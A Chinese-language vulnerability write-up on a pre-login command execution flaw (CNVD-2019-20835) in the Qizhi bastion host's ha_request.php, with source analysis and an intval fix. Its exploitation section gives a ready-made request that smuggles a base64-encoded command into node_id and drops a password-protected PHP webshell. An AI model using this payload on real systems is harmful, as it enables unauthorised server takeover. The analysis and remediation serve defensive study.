一、基本信息

  漏洞公告:https://www.cnvd.org.cn/flaw/show/1632201

  补丁信息:该漏洞的修复补丁已发布,如果客户尚未修复该补丁,可联系齐治科技的技术支持人员获得具体帮助。

二、源代码分析

  问题出现在ha_request.php文件,第37行的exec函数,$url为用户可控的变量,可见第33和34行。目光来到第23和24行,只要node_request函数的返回值为“OK”,即可跳过fatal函数(此函数为自定义函数,作用类似PHP内置的exit函数),继续往下执行。

  Node_request函数的定义在include/common.php文件中,见下图2。按照其原本的逻辑,其作用是请求$url,并返回其内容。根据代码逻辑,$url = "http://$req_ipaddr"."/listener/$method.php?n=$req_node_id&a=".urlencode(json_encode($args));。所以$url变量值类似于http://10.20.10.11/listener/cluster_manage.php?n=1&a=%5B%22install%22%5D这样的字符串。

  但是$req_ipaddr和$req_node_id均来自用户输入。因此,假设10.20.10.11为黑客可控的服务器,listener/cluster_manage.php文件的内容为“<?php echo ‘OK’;>”,即可使得node_request函数返回“OK”,从而跳过fatal函数,继续往下执行来到exec函数。

  回到exec函数,此时该函数的第一个参数是这样的,"wget --no-check-certificate http://10.20.10.11 /ha_get_install.php?n=$req_node_id -O backup_scripts.tar.bz2",所以我们的payload只能放在$req_node_id变量中。

  见下图3,$req_ipaddr和$req_node_id其实来自于$_REQUEST[‘ipaddr’]和$_REQUEST[node_id’],并做了全局过滤,删除掉一些危险字符。

图1

图2

图3

三、漏洞利用

  利用条件:无需登录

  利用过程:

  第一,http://10.20.10.11/listener/cluster_manage.php返回“OK”。

  第二,执行以下链接即可getshell,执行成功后,生成PHP一句话马/var/www/shterm/resources/qrcode/lbj77.php密码10086。这里假设10.20.10.10为堡垒机的IP地址。

https://10.20.10.10/ha_request.php?action=install&ipaddr=10.20.10.11&node_id=1${IFS}|`echo${IFS}"ZWNobyAnPD9waHAgQGV2YWwoJF9SRVFVRVNUWzEwMDg2XSk7Pz4nPj4vdmFyL3d3dy9zaHRlcm0vcmVzb3VyY2VzL3FyY29kZS9sYmo3Ny5waHAK"|base64${IFS}-d|bash`|${IFS}|echo${IFS}

四、参考及修复建议

1、修复建议

  $node_id的看起来应该是一个整数,所以只需在ha_request.php文件开头,添加以下一行代码,对该变量进行过滤即可。

  $node_id = @intval($req_node_id);

2、参考

  https://www.php.net/manual/en/function.exec.php

  https://www.anquanke.com/post/id/84920

转载请注明出处。

转载于:https://www.cnblogs.com/StudyCat/p/11256944.html

齐治堡垒机前台远程命令执行漏洞(CNVD-2019-20835)分析相关推荐

  1. 齐治堡垒机后台存在命令执行漏洞(CNVD-2019-17294)分析

    基本信息 引用:https://www.cnvd.org.cn/flaw/show/CNVD-2019-17294 补丁信息:该漏洞的修复补丁已于2019年6月25日发布.如果客户尚未修复该补丁,可联 ...

  2. 开源堡垒机JumpServer远程命令执行漏洞复现

    声明 好好学习,天天向上 漏洞描述 JumpServer 是全球首款完全开源的堡垒机, 使用GNU GPL v2.0 开源协议, 是符合4A 的专业运维审计系统.JumpServer 使用Python ...

  3. 齐治堡垒机_任意用户登录漏洞

    fofa查询语法 app="齐治科技-堡垒机" 漏洞复现 漏洞POC为 http://xxx.xxx.xxx.xxx/audit/gui_detail_view.php?token ...

  4. mysql堡垒机漏洞_关于近期网传齐治堡垒机漏洞的声明

    尊敬的用户: 齐治科技(下述简称"齐治")注意到近期有消息称"齐治堡垒机存在未修复的前台远程代码执行漏洞".经过确认,消息提及的漏洞是齐治已停售产品Shterm ...

  5. 齐治堡垒机ShtermClient-2.1.1命令执行漏洞(CNVD-2019-09593)分析

    一.基本信息 参考:https://www.cnvd.org.cn/flaw/show/1559039 补丁信息:该漏洞的修复补丁已于2019年4月1日发布.如果客户尚未修复该补丁,可联系齐治科技的技 ...

  6. 齐治堡垒机配置文件服务器,齐治堡垒机操作手册-20210703081118.docx-原创力文档

    Copyright ? 2009-2011 Copyright ? 2009-2011 齐治科技Page PAGE # 齐治堡垒机操作手册 中国旅游集团 信息共享中心 2020年2月 版本 TOC \ ...

  7. mysql堡垒机漏洞_绿盟UTS绕过登录/齐治堡垒机 rce

    1.绿盟UTS绕过登录 随便输密码->修改返回包为True->放行->等待第二次拦截包->内含管理员MD5->替换MD5登录 直接请求接口:/webapi/v1/syst ...

  8. 安恒堡垒机使用手册_齐治堡垒机简易使用手册

    ================ 精选公文范文, 管理类, 工作总结类, 工作计划类文档, 欢迎阅读下载 ============== -------------------- 精选公文范文,管理类, ...

  9. FastJson远程命令执行漏洞

    FastJson远程命令执行漏洞学习笔记 Fastjson简介 fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean.fastjson.ja ...

最新文章

  1. Compiere去掉启动时的下面显示的进度条
  2. 为什么你老是讲不清楚js的继承模式
  3. 如何做相册_腾讯相册管家再创相册管理软件新纪元
  4. spark submit 运行的时候增加ack命令
  5. Polemo Chat客户端行为
  6. http://selectorgadget.com/
  7. [翻译]禅与文件和文件夹组织的艺术 上
  8. Vue和MVVM的对应关系
  9. 根据控制点坐标对完成坐标转换
  10. Android系统信息获取 之十一:获取IMEI,IMSI号
  11. EditRocket for Mac(源代码编辑器)v4.5.10
  12. 学习笔记: yield迭代器
  13. Git,GitHub入门
  14. 精细化管理设备资产,降低企业运营成本
  15. php程序员自我描述_PHP程序员求职简历的自我评价范文
  16. 滴滴美团58携程,那些发生在大并购谈判桌背后的故事
  17. 干货丨3分钟了解今日头条推荐算法原理(附视频+PPT)
  18. IntelliJ IDEA 2017 汉化包及安装
  19. 神卓互联是什么?优秀的内网穿透
  20. flask中ajax的使用,jquery – 使用ajax时,Flask flash消息不再有效

热门文章

  1. DELL-R730服务器U盘安装操作系统指南
  2. 部分选中文件的快捷键
  3. 非核心版本的计算机上_计算机四级网络工程师知识点笔记(备考指南)
  4. visual studio 2022安装vsix插件
  5. 邮件传输过程,MUA,MTA,MDA的概念
  6. Java基础:数据类型与变量
  7. vim删除奇数行_如何用vim删除特定的偶数行?
  8. 怎么把图片按12345....顺序排列
  9. 《高校bbs或者科研论坛》
  10. 大数据学习系列(九)Hadoop1.X痛点分析及Hadoop2.X提出的解决方案